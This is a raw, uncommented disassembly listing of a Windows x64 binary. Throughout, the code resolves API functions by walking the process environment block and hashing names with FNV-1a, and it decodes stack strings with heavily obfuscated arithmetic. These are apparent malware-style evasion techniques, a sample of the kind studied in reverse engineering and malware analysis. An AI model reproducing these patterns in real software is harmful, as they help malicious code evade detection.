movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015ed40
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015ed33
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015ed24
cmp edx, esi
jne 0x14015ee0d
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015ee0d
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015ee0d
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015ed94
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015ed89
cmp edx, r14d
je 0x14015edaa
test r11d, r11d
jne 0x14015ed74
jmp 0x14015ee0d
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14015ee22
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14015ee22
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015edec
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14015edde
jmp 0x14015ee01
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14015edf4
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015ee1f
cmp qword [rbx + 0x30], r13
jne 0x14015ecf4
mov rdx, r13
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x14015ef92
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015eea9
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015ee9c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015ee8d
cmp edx, esi
jne 0x14015ef76
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015ef76
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015ef76
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015eefd
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015eef2
cmp edx, r14d
je 0x14015ef13
test r11d, r11d
jne 0x14015eedd
jmp 0x14015ef76
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14015ef8b
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14015ef8b
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015ef55
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14015ef47
jmp 0x14015ef6a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14015ef5d
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015ef88
cmp qword [rbx + 0x30], r13
jne 0x14015ee5d
mov rdx, r13
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], r13
jne 0x14015f0fa
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015f00f
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015f002
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015eff3
cmp edx, esi
jne 0x14015f0de
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14015f0de
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14015f0de
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rdi]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14015f063
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015f058
cmp edx, r14d
je 0x14015f079
test r9d, r9d
jne 0x14015f043
jmp 0x14015f0de
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14015f0f3
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14015f0f3
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015f0bb
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x14015f0ad
jmp 0x14015f0d1
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x14015f0c4
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015f0f0
cmp qword [rbx + 0x30], r13
jne 0x14015efc3
mov r9, r13
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x14015f16b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x14015f153
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14015f137
cmp edx, 0x610c0de3
je 0x14015f1bc
mov r8, qword [r8]
cmp r8, r10
je 0x14015f161
cmp qword [r8 + 0x30], r13
jne 0x14015f11d
mov r8, r13
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x14015f1b7
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x14015f19b
cmp ecx, 0xe463da3c
je 0x14015f1c2
add r9d, r12d
jmp 0x14015f17f
mov r8, qword [r8 + 0x30]
jmp 0x14015f164
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x14015f34e
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015f262
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015f255
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015f246
cmp edx, esi
jne 0x14015f332
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14015f332
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14015f332
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015f2b6
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14015f2ab
cmp edx, r14d
je 0x14015f2cc
test r10d, r10d
jne 0x14015f296
jmp 0x14015f332
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14015f347
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14015f347
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14015f325
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14015f301
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14015f318
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015f344
cmp qword [rbx + 0x30], r13
jne 0x14015f216
mov r10, r13
mov qword [0x1404fba00], r10
lea r9, [rbp + 0x11c4]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x14015f4ce
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015f3e2
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015f3d5
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015f3c6
cmp edx, esi
jne 0x14015f4b2
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015f4b2
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015f4b2
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015f436
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14015f42b
cmp edx, r14d
je 0x14015f44c
test r11d, r11d
jne 0x14015f416
jmp 0x14015f4b2
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x14015f4c7
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x14015f4c7
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14015f4a5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x14015f481
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x14015f498
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015f4c4
cmp qword [rbx + 0x30], r13
jne 0x14015f396
mov r8, r13
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov rbx, qword [0x1404fc120]
test rbx, rbx
jne 0x14015f650
mov esi, r13d
mov r14d, 0xeac42c07
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015f561
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015f554
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015f545
cmp edx, esi
jne 0x14015f634
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015f634
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015f634
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015f5bb
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015f5b0
cmp edx, r14d
je 0x14015f5d1
test r11d, r11d
jne 0x14015f59b
jmp 0x14015f634
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14015f649
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14015f649
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015f613
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14015f605
jmp 0x14015f628
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x14015f61b
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015f646
cmp qword [rbx + 0x30], r13
jne 0x14015f515
mov rbx, r13
mov qword [0x1404fc120], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call rbx
call fcn.140103220
test al, al
jne 0x140164861
mov byte [rbp + 0xf70], 0x9b
mov byte [rbp + 0xf71], 0x59
mov r14d, 0x80
mov byte [rbp + 0xf72], r14b
mov byte [rbp + 0xf73], 0x5b
mov byte [rbp + 0xf74], 0xa0
mov byte [rbp + 0xf75], 0x45
mov byte [rbp + 0xf76], 0xbb
mov byte [rbp + 0xf77], 0x47
mov byte [rbp + 0xf78], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xf79], 0x41
mov byte [rbp + 0xf7a], 0xaf
mov byte [rbp + 0xf7b], 0x43
mov byte [rbp + 0xf7c], 0xde
mov byte [rbp + 0xf7d], Ordinal_79
mov byte [rbp + 0xf7e], 0xdd
mov byte [rbp + 0xf7f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xf80], 0xac
mov byte [rbp + 0xf81], Ordinal_79
mov byte [rbp + 0xf82], 0x86
mov byte [rbp + 0xf83], Ordinal_79
mov byte [rbp + 0xf84], 0x99
mov byte [rbp + 0xf85], 0x75
mov byte [rbp + 0xf86], 0x98
mov byte [rbp + 0xf87], 0x77
mov byte [rbp + 0xf88], __WSAFDIsSet
mov byte [rbp + 0xf89], WSACleanup
mov byte [rbp + 0xf8a], 0xef
mov byte [rbp + 0xf8b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xf8c], 0xe8
mov byte [rbp + 0xf8d], 0x7d
mov byte [rbp + 0xf8e], 0xe2
mov byte [rbp + 0xf8f], 0x7f
mov byte [rbp + 0xf90], 0x9c
mov byte [rbp + 0xf91], 0x79
mov byte [rbp + 0xf92], 0xbb
mov byte [rbp + 0xf93], 0x7b
mov byte [rbp + 0xf94], 0xf4
mov byte [rbp + 0xf95], 0x65
mov byte [rbp + 0xf96], 0xf6
mov byte [rbp + 0xf97], 0x67
mov byte [rbp + 0xf98], 0xac
mov byte [rbp + 0xf99], 0x61
mov byte [rbp + 0xf9a], 0x83
mov byte [rbp + 0xf9b], 0x63
mov byte [rbp + 0xf9c], 0xf0
mov byte [rbp + 0xf9d], WSASetLastError
mov byte [rbp + 0xf9e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xf9f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xfa0], Ordinal_143
mov byte [rbp + 0xfa1], WSAGetLastError
mov byte [rbp + 0xfa2], 0xa7
mov byte [rbp + 0xfa3], WSASetLastError
mov byte [rbp + 0xfa4], 0x88
mov byte [rbp + 0xfa5], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xfa6], 0xfe
mov byte [rbp + 0xfa7], reloc.WS2_32.dll_socket
mov byte [rbp + 0xfa8], 0xfd
mov byte [rbp + 0xfa9], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xfaa], r14b
mov byte [rbp + 0xfab], reloc.WS2_32.dll_send
mov byte [rbp + 0xfac], 0xfd
mov byte [rbp + 0xfad], Ordinal_32
mov byte [rbp + 0xfae], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xfaf], Ordinal_32
mov byte [rbp + 0xfb0], 0xfa
mov byte [rbp + 0xfb1], Ordinal_27
mov byte [rbp + 0xfb2], 0xf3
mov byte [rbp + 0xfb3], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xfb4], __WSAFDIsSet
mov byte [rbp + 0xfb5], 5
mov byte [rbp + 0xfb6], 6
mov byte [rbp + 0xfb7], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xfb8], xmm0
mov qword [rbp + 0xfc8], rax
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r9, qword [rax]
mov r15d, Ordinal_41
mov r10, r13
mov r12d, 1
cmp r10, 0x60
jae 0x1401602a1
movzx r8d, byte [rbp + r10 + 0xf70]
mov edx, r8d
cmp rbx, r10
ja 0x140160298
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x14015f8e7
movabs r11, 0xe2ff43c1b0c1bb8c
lea rcx, [r10 + r11]
mov eax, edx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x2c
jmp 0x14015f91e
je 0x140160216
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401601c7
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140160167
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140160141
movabs r11, 0xe2ff43c1b0c1bb8c
cmp r9, r10
ja 0x14016028f
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x14015f954
movabs rdi, 0x9ef08ee37fe4627c
add rdi, r10
mov al, dil
and al, r8b
add al, al
sub dil, al
sub dil, 0x64
add dil, r8b
jmp 0x14015f988
lea rax, [r9 + 1]
cmp rbx, rax
je 0x1401600fa
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401600d6
lea rax, [r9 + 4]
cmp rbx, rax
je 0x1401600b3
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140160090
mov esi, Ordinal_32
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x14015fcbd
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x14015fc9a
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x14015fc86
lea rax, [r9 + 8]
cmp rbx, rax
je 0x14015fc63
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x14015fc40
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x14015fc1d
lea rax, [r9 + 9]
cmp rbx, rax
je 0x14015fbf6
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x14016026c
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x14016024a
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x14015fab2
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x14015fbdf
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x14015fbb0
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x14015f99a
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x14015fb9c
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x14015fb8b
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x14015fb68
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x14015fb41
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x14015fb1a
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x14015faf7
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x14015fad4
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x14015f99a
movabs rcx, 0x4099ca2af930d504
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x14015f98d
movabs rcx, 0xf784771bff2313e0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x140160118
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x14016013c
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14016015f
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401601b7
movabs rcx, 0x538d4a07b60e4950
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140160057
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14015fc05
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14015fd9f
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov byte [rbp + r10 + 0xf70], dil
jmp 0x140160242
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14015fcd3
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401601e3
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140160057
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x1401601b7
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x14016015f
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401600e5
movabs rcx, 0x89af1d39f33e9628
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x140160118
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x14015fd8a
lea rdx, [r10 + r11]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
lea rax, [r9 + rbx]
cmp rax, 2
je 0x140160030
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x14015fe6e
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, r14
jae 0x140160002
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x14015ff13
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r9, 0x42
jb 0x14015fbd2
movabs rcx, 0x71b4ff2c6d30b9c8
add rcx, r10
mov al, cl
and al, r8b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140160118
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14015fdb7
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, esi
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140160233
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14015fde3
movabs rcx, 0xc9de2ccdc2cfb328
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x140160057
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14015fe0f
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x1401601b4
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14015fe3b
movabs rcx, 0x1bd9c357e75a1870
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x140160189
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x14015fce3
movabs rdx, 0x6dd559e20be47db8
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x140160118
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14015fe9a
movabs rcx, 0xdcd1acaa7fad2774
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
jmp 0x140160118
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14015feb7
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401600e5
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14015fee4
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x1401601b7
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14015fd20
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x140160057
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14015ff30
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x14015fd9f
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14015ff5c
movabs rcx, 0x41c0c31161150108
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x1401601e3
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14015ff89
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x1401601b4
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x14015ffa6
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
